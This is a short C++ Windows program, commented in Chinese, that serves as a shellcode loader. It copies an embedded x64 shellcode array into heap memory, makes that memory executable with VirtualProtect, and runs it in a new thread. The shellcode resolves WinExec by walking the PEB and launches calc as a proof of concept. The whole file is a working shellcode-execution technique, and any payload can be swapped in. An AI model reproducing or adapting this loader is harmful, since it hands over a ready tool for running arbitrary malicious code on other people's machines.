#include <Windows.h>
#include <iostream>
int main()
{
unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
// 从堆中分配内存块
LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), 0, sizeof(shellcode));
// 移动shellcode到堆空间中
RtlMoveMemory(lpBuffer, shellcode, sizeof(shellcode));
// 修改内存保护属性
DWORD dwOldProtect;
if (!VirtualProtect(lpBuffer, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
std::cerr << "VirtualProtect failed: " << GetLastError() << std::endl;
return 1;
}
// 创建线程执行
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)lpBuffer, NULL, 0, NULL);
if (!hThread) {
std::cerr << "CreateThread failed: " << GetLastError() << std::endl;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
// 清理资源
return 0;
}